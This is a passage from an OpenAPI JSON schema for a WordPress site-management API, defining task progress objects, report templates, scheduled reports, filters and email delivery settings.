"failed", "aborted", "no_action_required", "no_action", "pending", "in_progress" ], "example": "running" }, "details": { "description": "Step-specific details.", "$ref": "#/components/schemas/TaskStepDetails" }, "progress": { "description": "Step progress.", "$ref": "#/components/schemas/TaskStepProgress" }, "error": { "description": "Step error details. Empty details mean no error is present.", "$ref": "#/components/schemas/TaskStepError" } } }, "TaskSite": { "type": "object", "description": "Site-level progress and step details for a task.", "required": [ "id", "status", "progress", "steps" ], "example": { "id": "9bf3c2e7", "status": "running", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] }, "properties": { "id": { "type": "string", "description": "Site ID associated with this task.", "example": "9bf3c2e7" }, "status": { "description": "Site-level task status.", "$ref": "#/components/schemas/TaskStatus" }, "progress": { "type": "object", "description": "Site-level progress for this task.", "required": [ "percent" ], "properties": { "percent": { "type": "integer", "description": "Site-level completion percentage.", "example": 40 } } }, "steps": { "type": "array", "description": "Step-level progress for this site.", "items": { "$ref": "#/components/schemas/TaskStep" } } } }, "TaskDetails": { "type": "object", "description": "Site-level task progress and steps returned for show and cancel responses.", "required": [ "sites" ], "example": { "sites": [ { "id": "9bf3c2e7", "status": "running", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] } ] }, "properties": { "sites": { "type": "array", "description": "Site-level progress and step details for this task.", "items": { "$ref": "#/components/schemas/TaskSite" } } } }, "Task": { "type": "object", "description": "Task details for background work in your account. A task includes status, type, progress, request details when available, and site-level progress and steps.", "required": [ "id", "status", "type", "created_at", "updated_at", "progress", "input", "details" ], "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false } } ] }, "details": { "sites": [ { "id": "9bf3c2e7", "status": "running", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] } ] } }, "properties": { "id": { "type": "string", "description": "Task ID.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "$ref": "#/components/schemas/TaskStatus" }, "type": { "$ref": "#/components/schemas/TaskType" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the task was created.", "example": "2026-02-26T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the task was last updated.", "example": "2026-02-26T10:05:00Z" }, "progress": { "description": "Overall progress for this task.", "$ref": "#/components/schemas/TaskProgress" }, "input": { "description": "Request details shown for this task when available.", "$ref": "#/components/schemas/TaskInput" }, "details": { "description": "Site-level task progress and steps.", "$ref": "#/components/schemas/TaskDetails" } } }, "TaskResponse": { "type": "object", "description": "Response envelope for one task.", "required": [ "task" ], "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false } } ] }, "details": { "sites": [ { "id": "9bf3c2e7", "status": "running", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] } ] } } }, "properties": { "task": { "description": "Task with request details and site-level progress.", "$ref": "#/components/schemas/Task" } } }, "ListReportsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned reports.", "example": "created_at,desc" }, "ListReportsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned reports.", "properties": { "type:eq": { "type": "string", "description": "Report type to match. Supported values for matching are `one_time` and `scheduled`.", "example": "one_time" }, "site_id:eq": { "type": "string", "description": "Site ID to match.", "example": "9bf3c2e7a1b24c6d8e9f0123456789ab" }, "client_id:eq": { "type": "string", "description": "Client ID to match.", "example": "jT7nK2xR8mL4pQ9vW5hY3bFe" }, "sender_email:eq": { "type": "string", "description": "Sender email address to match.", "example": "sender@example.com" }, "recipient_status:eq": { "type": "string", "description": "Recipient delivery status to match. Supported values for matching are `sent`, `delivered`, `opened`, `failed`, `bounced`, and `spam`.", "example": "delivered" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return reports created at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return reports created at or before this timestamp.", "example": "2026-02-01T00:00:00Z" } }, "example": { "type:eq": "one_time", "site_id:eq": "9bf3c2e7a1b24c6d8e9f0123456789ab", "recipient_status:eq": "delivered" } }, "ReportId": { "type": "string", "description": "Report ID.", "example": "hT5bWx8nKq3mJr6vGs9fYd2a" }, "ListReportTemplatesSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned report templates.", "example": "created_at,desc" }, "ListReportTemplatesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned report templates.", "properties": { "name:contains": { "type": "string", "description": "Match report templates whose name contains this value.", "example": "Monthly" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Match report templates created at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Match report templates created at or before this timestamp.", "example": "2026-02-28T23:59:59Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Match report templates updated at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Match report templates updated at or before this timestamp.", "example": "2026-02-28T23:59:59Z" }, "site_id:in": { "type": "array", "description": "Match templates used by active or paused scheduled reports on these site IDs.", "items": { "$ref": "#/components/schemas/SiteId" }, "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "ReportTemplateId": { "type": "string", "description": "Report template ID.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "ListReportTemplatesResponse": { "type": "object", "required": [ "report_templates", "meta" ], "additionalProperties": false, "description": "Paginated list of report templates.", "properties": { "report_templates": { "type": "array", "description": "Report templates in your account.", "items": { "type": "object", "required": [ "id", "site_ids", "name", "created_at", "updated_at" ], "additionalProperties": false, "description": "Report template summary returned in lists.", "properties": { "id": { "$ref": "#/components/schemas/ReportTemplateId" }, "site_ids": { "type": "array", "description": "Site IDs for active or paused scheduled reports using this template. IDs are limited to sites available to you.", "items": { "$ref": "#/components/schemas/SiteId" }, "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, "name": { "type": "string", "description": "Template name.", "example": "Monthly Website Report" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the template was created.", "example": "2026-02-20T09:15:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the template was last updated.", "example": "2026-02-20T09:15:00Z" } }, "example": { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "name": "Monthly Website Report", "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "additionalProperties": false, "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "report_templates": [ { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "name": "Monthly Website Report", "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" }, { "id": "pL8vQ3xRn5mJw9cT2hY6dFs", "site_ids": [], "name": "Security Summary Report", "created_at": "2026-02-18T14:30:00Z", "updated_at": "2026-02-19T08:45:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ReportTemplateRequest": { "type": "object", "required": [ "report_template" ], "additionalProperties": true, "description": "Request body for creating or updating a report template.", "properties": { "report_template": { "type": "object", "required": [ "name", "general", "sections", "section_order", "email" ], "additionalProperties": true, "description": "Report appearance, sections, section order, and email settings. Create and update requests must include the full template shape.", "properties": { "name": { "type": "string", "minLength": 1, "description": "Report template name.", "example": "Monthly Website Report" }, "general": { "type": "object", "required": [ "primary_color" ], "additionalProperties": true, "minProperties": 1, "description": "General report appearance settings.", "properties": { "primary_color": { "type": "string", "pattern": "^#[0-9A-Fa-f]{6}$", "description": "Primary report color.", "example": "#2F80ED" }, "language": { "oneOf": [ { "type": "string", "enum": [ "en", "de", "nl", "es", "no", "fr", "it", "da", "pt", "rs" ] }, { "type": "null" } ], "description": "Report language code.", "example": "en" }, "date_format": { "oneOf": [ { "type": "string", "enum": [ "DD/MM/YYYY", "MM/DD/YYYY", "YYYY/MM/DD" ] }, { "type": "null" } ], "description": "Report date format.", "example": "DD/MM/YYYY" } } }, "sections": { "type": "object", "minProperties": 1, "propertyNames": { "enum": [ "cover", "introduction", "overview", "plugins_themes", "updates", "backups", "security", "security_v2", "firewall", "firewall_v2", "uptime", "uptime_v2", "performance", "google_analytics", "google_analytics_v2", "custom_work", "conclusion" ] }, "additionalProperties": { "type": "object", "additionalProperties": true }, "description": "Section settings keyed by public section name. Unsupported section keys are rejected.", "example": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } } }, "section_order": { "type": "array", "minItems": 1, "description": "Public section keys in display order. Unsupported section keys are rejected.", "items": { "type": "string", "enum": [ "cover", "introduction", "overview", "plugins_themes", "updates", "backups", "security", "security_v2", "firewall", "firewall_v2", "uptime", "uptime_v2", "performance", "google_analytics", "google_analytics_v2", "custom_work", "conclusion" ] }, "example": [ "cover" ] }, "email": { "type": "object", "required": [ "sender_email", "attach_pdf" ], "additionalProperties": true, "description": "Email settings sent on create or update. The `sender_email` key is required.", "properties": { "sender_email": { "oneOf": [ { "type": "object", "required": [ "id" ], "additionalProperties": true, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" } } }, { "type": "null" } ], "description": "Send `null` to use the standard sender, or include `id` with a sender email ID from your account.", "example": null }, "subject": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email subject.", "example": "Monthly Website Report" }, "body": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email body.", "example": "Please find your report attached." }, "attach_pdf": { "type": "boolean", "description": "Whether the report email should attach the PDF.", "example": true } } } } } }, "example": { "report_template": { "name": "Monthly Website Report", "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true } } } }, "ReportTemplateResponse": { "type": "object", "required": [ "report_template" ], "additionalProperties": false, "description": "Single report template response.", "properties": { "report_template": { "type": "object", "required": [ "id", "name", "site_ids", "general", "sections", "section_order", "email", "created_at", "updated_at" ], "additionalProperties": false, "description": "Full report template details.", "properties": { "id": { "$ref": "#/components/schemas/ReportTemplateId" }, "name": { "type": "string", "description": "Report template name.", "example": "Monthly Website Report" }, "site_ids": { "type": "array", "description": "Site IDs for active or paused scheduled reports using this template. IDs are limited to sites available to you.", "items": { "$ref": "#/components/schemas/SiteId" }, "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, "general": { "type": "object", "required": [ "primary_color", "language", "date_format" ], "additionalProperties": false, "description": "General report appearance settings.", "properties": { "primary_color": { "oneOf": [ { "type": "string", "pattern": "^#[0-9A-Fa-f]{6}$" }, { "type": "null" } ], "description": "Primary report color.", "example": "#2F80ED" }, "language": { "type": "string", "enum": [ "en", "de", "nl", "es", "no", "fr", "it", "da", "pt", "rs" ], "description": "Report language code.", "example": "en" }, "date_format": { "type": "string", "enum": [ "DD/MM/YYYY", "MM/DD/YYYY", "YYYY/MM/DD" ], "description": "Report date format.", "example": "DD/MM/YYYY" } } }, "sections": { "type": "object", "propertyNames": { "enum": [ "cover", "introduction", "overview", "plugins_themes", "updates", "backups", "security", "security_v2", "firewall", "firewall_v2", "uptime", "uptime_v2", "performance", "google_analytics", "google_analytics_v2", "custom_work", "conclusion" ] }, "additionalProperties": { "type": "object" }, "description": "Section settings keyed by public section name.", "example": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } } }, "section_order": { "type": "array", "description": "Public section keys in display order.", "items": { "type": "string", "enum": [ "cover", "introduction", "overview", "plugins_themes", "updates", "backups", "security", "security_v2", "firewall", "firewall_v2", "uptime", "uptime_v2", "performance", "google_analytics", "google_analytics_v2", "custom_work", "conclusion" ] }, "example": [ "cover" ] }, "email": { "type": "object", "required": [ "sender_email", "subject", "body", "attach_pdf" ], "additionalProperties": false, "description": "Email settings for the report template.", "properties": { "sender_email": { "oneOf": [ { "type": "object", "required": [ "id", "email" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "reports@example.com" } } }, { "type": "null" } ], "description": "Custom sender email, or null when the standard sender is used.", "example": null }, "subject": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email subject.", "example": "Monthly Website Report" }, "body": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email body.", "example": "Please find your report attached." }, "attach_pdf": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether the report email attaches the PDF.", "example": true } } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the template was created.", "example": "2026-02-20T09:15:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the template was last updated.", "example": "2026-02-20T09:15:00Z" } }, "example": { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "name": "Monthly Website Report", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true }, "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" } } }, "example": { "report_template": { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "name": "Monthly Website Report", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true }, "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" } } }, "DeleteReportTemplatesRequest": { "type": "object", "required": [ "ids" ], "additionalProperties": true, "description": "Request body for deleting report templates.", "properties": { "ids": { "type": "array", "minItems": 1, "description": "Report template IDs to delete. Blank ID values are skipped; if every value is blank, the request is invalid. Duplicate IDs are processed once.", "items": { "$ref": "#/components/schemas/ReportTemplateId" }, "example": [ "nR4eJk7pLm2xWc8vYs5fTd9a", "mK8pQ2xZw7nRv4sLt9yHb3c", "vWs9nL4pKx7mQc2dR8fTy5h" ] } }, "example": { "ids": [ "nR4eJk7pLm2xWc8vYs5fTd9a", "mK8pQ2xZw7nRv4sLt9yHb3c", "vWs9nL4pKx7mQc2dR8fTy5h" ] } }, "DeleteReportTemplatesResponse": { "type": "object", "required": [ "delete", "meta" ], "additionalProperties": false, "description": "Bulk delete result for report templates.", "properties": { "delete": { "type": "object", "required": [ "ids", "errors" ], "additionalProperties": false, "properties": { "ids": { "type": "array", "description": "Report template IDs deleted successfully.", "items": { "$ref": "#/components/schemas/ReportTemplateId" }, "example": [ "nR4eJk7pLm2xWc8vYs5fTd9a" ] }, "errors": { "type": "array", "description": "Per-ID failures.", "items": { "type": "object", "required": [ "id", "code", "message" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/ReportTemplateId" }, "code": { "type": "string", "enum": [ "not_found", "template_in_use" ], "description": "Per-ID failure code.", "example": "template_in_use" }, "message": { "type": "string", "description": "Per-ID failure message.", "example": "Template is in use by a scheduled report" } } } } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "additionalProperties": false, "properties": { "requested": { "type": "integer", "description": "Number of requested IDs after blank values are removed and duplicate IDs are processed once.", "example": 3 }, "succeeded": { "type": "integer", "description": "Number of IDs deleted successfully.", "example": 1 }, "failed": { "type": "integer", "description": "Number of IDs that could not be deleted.", "example": 2 } } } }, "example": { "delete": { "ids": [ "nR4eJk7pLm2xWc8vYs5fTd9a" ], "errors": [ { "id": "mK8pQ2xZw7nRv4sLt9yHb3c", "code": "not_found", "message": "Report template not found" }, { "id": "vWs9nL4pKx7mQc2dR8fTy5h", "code": "template_in_use", "message": "Template is in use by a scheduled report" } ] }, "meta": { "requested": 3, "succeeded": 1, "failed": 2 } } }, "ListScheduledReportsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned scheduled reports.", "example": "created_at,desc" }, "ListScheduledReportsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned scheduled reports.", "properties": { "site_id:eq": { "type": "string", "description": "Site ID to match.", "example": "9bf3c2e7a1b24c6d8e9f0123456789ab" }, "status:eq": { "type": "string", "description": "Filter by schedule status. Supported values for matching are `active` and `paused`.", "example": "active" }, "frequency:eq": { "type": "string", "description": "Filter by schedule frequency. Supported values for matching are `weekly`, `biweekly`, and `monthly`.", "example": "weekly" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return schedules created at or after this timestamp.", "example": "2026-03-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return schedules created at or before this timestamp.", "example": "2026-03-31T23:59:59Z" } } }, "ScheduledReportId": { "type": "string", "description": "Scheduled report ID.", "example": "qF3dKm8nRx2wJc6vPs9eTy5h" }, "ListScheduledReportsResponse": { "type": "object", "required": [ "scheduled_reports", "meta" ], "additionalProperties": false, "description": "Paginated list of scheduled reports.", "properties": { "scheduled_reports": { "type": "array", "description": "Scheduled reports returned for sites available to you.", "items": { "type": "object", "required": [ "id", "site", "title", "template_id", "status", "frequency", "timezone", "started_at", "next_report_at", "email", "created_at", "updated_at" ], "additionalProperties": false, "description": "Scheduled report summary returned in list results.", "properties": { "id": { "$ref": "#/components/schemas/ScheduledReportId" }, "site": { "type": "object", "required": [ "id", "title", "url" ], "additionalProperties": false, "description": "WordPress site associated with a scheduled report.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "title": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site title at response time.", "example": "Example Site" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://example.com" } } }, "title": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report title used for generated reports.", "example": "Weekly Website Report" }, "template_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report template ID used by the scheduled report.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "status": { "type": "string", "enum": [ "active", "paused" ], "description": "Schedule status.", "example": "active" }, "frequency": { "type": "string", "enum": [ "weekly", "biweekly", "monthly" ], "description": "Schedule frequency returned for the scheduled report.", "example": "weekly" }, "timezone": { "type": "string", "description": "Schedule timezone name.", "example": "UTC" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled report time.", "example": "2026-03-10T09:00:00Z" }, "next_report_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Next scheduled report time, or null when it is not set.", "example": "2026-03-17T09:00:00Z" }, "email": { "type": "object", "required": [ "recipients" ], "additionalProperties": false, "description": "Email delivery summary returned in list results.", "properties": { "recipients": { "type": "array", "description": "Recipient email addresses configured for the scheduled report.", "items": { "type": "string", "format": "email" }, "example": [ "user@example.com" ] } } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was created.", "example": "2026-03-01T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was last updated.", "example": "2026-03-01T10:00:00Z" } }, "example": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "email": { "recipients": [ "user@example.com" ] }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-01T10:00:00Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "additionalProperties": false, "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "scheduled_reports": [ { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "email": { "recipients": [ "user@example.com" ] }, "created_at": "2026-03-02T10:00:00Z", "updated_at": "2026-03-02T10:00:00Z" }, { "id": "mN8pQr4sTu6vWx2yZa9bCd3e", "site": { "id": "7ae1c4b8d3f24a19b6c5e8f901234567", "title": "Storefront Site", "url": "https://store.example.com" }, "title": "Monthly Website Report", "template_id": "kP8tYs4vWq6xNc2mRb9eFd1g", "status": "paused", "frequency": "monthly", "timezone": "UTC", "started_at": "2026-03-05T09:00:00Z", "next_report_at": "2026-04-05T09:00:00Z", "email": { "recipients": [ "owner@example.com", "reports@example.com" ] }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-03T12:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ScheduledReportTemplateDataRequest": { "type": "object", "required": [ "general", "sections", "section_order", "email" ], "additionalProperties": true, "description": "Report appearance, sections, section order, and email delivery settings sent when creating or updating a scheduled report.", "properties": { "general": { "type": "object", "minProperties": 1, "additionalProperties": true, "description": "General report appearance settings.", "properties": { "primary_color": { "oneOf": [ { "type": "string", "pattern": "^#[0-9A-Fa-f]{6}$" }, { "type": "null" } ], "description": "Primary report color.", "example": "#2F80ED" }, "language": { "oneOf": [ { "type": "string", "enum": [ "en", "de", "nl", "es", "no", "fr", "it", "da", "pt", "rs" ] }, { "type": "null" } ], "description": "Report language code.", "example": "en" }, "date_format": { "oneOf": [ { "type": "string", "enum": [ "DD/MM/YYYY", "MM/DD/YYYY", "YYYY/MM/DD" ] }, { "type": "null" } ], "description": "Report date format.", "example": "DD/MM/YYYY" } } }, "sections": { "type": "object", "minProperties": 1, "propertyNames": { "enum": [ "cover", "introduction", "overview", "updates", "backups", "security_v2", "firewall_v2", "uptime_v2", "performance", "google_analytics_v2", "custom_work", "conclusion" ] }, "additionalProperties": { "type": "object", "additionalProperties": true }, "description": "Section settings keyed by public section name. Unsupported section keys are rejected.", "example": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } } }, "section_order": { "type": "array", "minItems": 1, "description": "Public section keys in display order. Unsupported section keys are rejected.", "items": { "type": "string", "enum": [ "cover", "introduction", "overview", "updates", "backups", "security_v2", "firewall_v2", "uptime_v2", "performance", "google_analytics_v2", "custom_work", "conclusion" ] }, "example": [ "cover" ] }, "email": { "type": "object", "required": [ "sender_email" ], "additionalProperties": true, "description": "Email delivery settings sent when creating or updating a scheduled report. The `sender_email` key is required.", "properties": { "sender_email": { "oneOf": [ { "type": "object", "required": [ "id" ], "additionalProperties": true, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" } } }, { "type": "null" } ], "description": "Send `null` to use the standard sender, or include `id` with a sender email ID from your account.", "example": null }, "subject": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email subject.", "example": "Weekly Website Report" }, "body": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email body.", "example": "Please find your report attached." }, "attach_pdf": { "type": "boolean", "description": "Whether the report email should attach the PDF.", "example": true }, "send_to_client": { "type": "boolean", "description": "Whether the report should be sent to the site's assigned client.", "example": false }, "recipients": { "type": "array", "description": "Recipient email addresses.", "items": { "type": "string", "format": "email" }, "example": [ "user@example.com" ] } } } }, "example": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } }, "CreateScheduledReportRequest": { "type": "object", "required": [ "scheduled_report" ], "additionalProperties": true, "description": "Request body for creating a scheduled report. Include `site_id`, `started_at`, `frequency`, and `report_template_data` under `scheduled_report`.", "properties": { "scheduled_report": { "type": "object", "required": [ "site_id", "started_at", "frequency", "report_template_data" ], "additionalProperties": true, "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "timezone": { "type": "string", "description": "Schedule timezone name, such as `UTC` or `Asia/Kolkata`. Defaults to UTC when omitted.", "example": "UTC" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled report time. Must be in the future.", "example": "2026-03-10T09:00:00Z" }, "frequency": { "type": "string", "enum": [ "weekly", "biweekly", "monthly" ], "description": "Schedule frequency.", "example": "weekly" }, "template_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Existing report template ID to use as the base report contents. Omit, send `null`, or send `default` to build the schedule directly from `report_template_data`.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "report_template_data": { "$ref": "#/components/schemas/ScheduledReportTemplateDataRequest" } } } }, "example": { "scheduled_report": { "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "frequency": "weekly", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } } } }, "ScheduledReportResponse": { "type": "object", "required": [ "scheduled_report" ], "additionalProperties": false, "description": "Single scheduled report response.", "properties": { "scheduled_report": { "type": "object", "required": [ "id", "site", "title", "template_id", "status", "frequency", "timezone", "started_at", "next_report_at", "report_template_data", "created_at", "updated_at" ], "additionalProperties": false, "description": "Full scheduled report returned by show, create, update, pause, and resume.", "properties": { "id": { "$ref": "#/components/schemas/ScheduledReportId" }, "site": { "type": "object", "required": [ "id", "title", "url" ], "additionalProperties": false, "description": "WordPress site associated with the scheduled report.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "title": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site title at response time.", "example": "Example Site" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://example.com" } } }, "title": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report title used for generated reports.", "example": "Weekly Website Report" }, "template_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report template ID used by the scheduled report.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "status": { "type": "string", "enum": [ "active", "paused" ], "description": "Schedule status.", "example": "active" }, "frequency": { "type": "string", "enum": [ "weekly", "biweekly", "monthly" ], "description": "Schedule frequency returned for the scheduled report.", "example": "weekly" }, "timezone": { "type": "string", "description": "Schedule timezone name.", "example": "UTC" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled report time.", "example": "2026-03-10T09:00:00Z" }, "next_report_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Next scheduled report time, or null when it is not set.", "example": "2026-03-17T09:00:00Z" }, "report_template_data": { "type": "object", "required": [ "general", "sections", "section_order", "email" ], "additionalProperties": false, "description": "Editable report appearance, sections, section order, and email delivery settings for the scheduled report.", "properties": { "general": { "type": "object", "required": [ "primary_color", "language", "date_format" ], "additionalProperties": true, "description": "General report appearance settings.", "properties": { "primary_color": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Primary report color.", "example": "#2F80ED" }, "language": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report language code.", "example": "en" }, "date_format": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report date 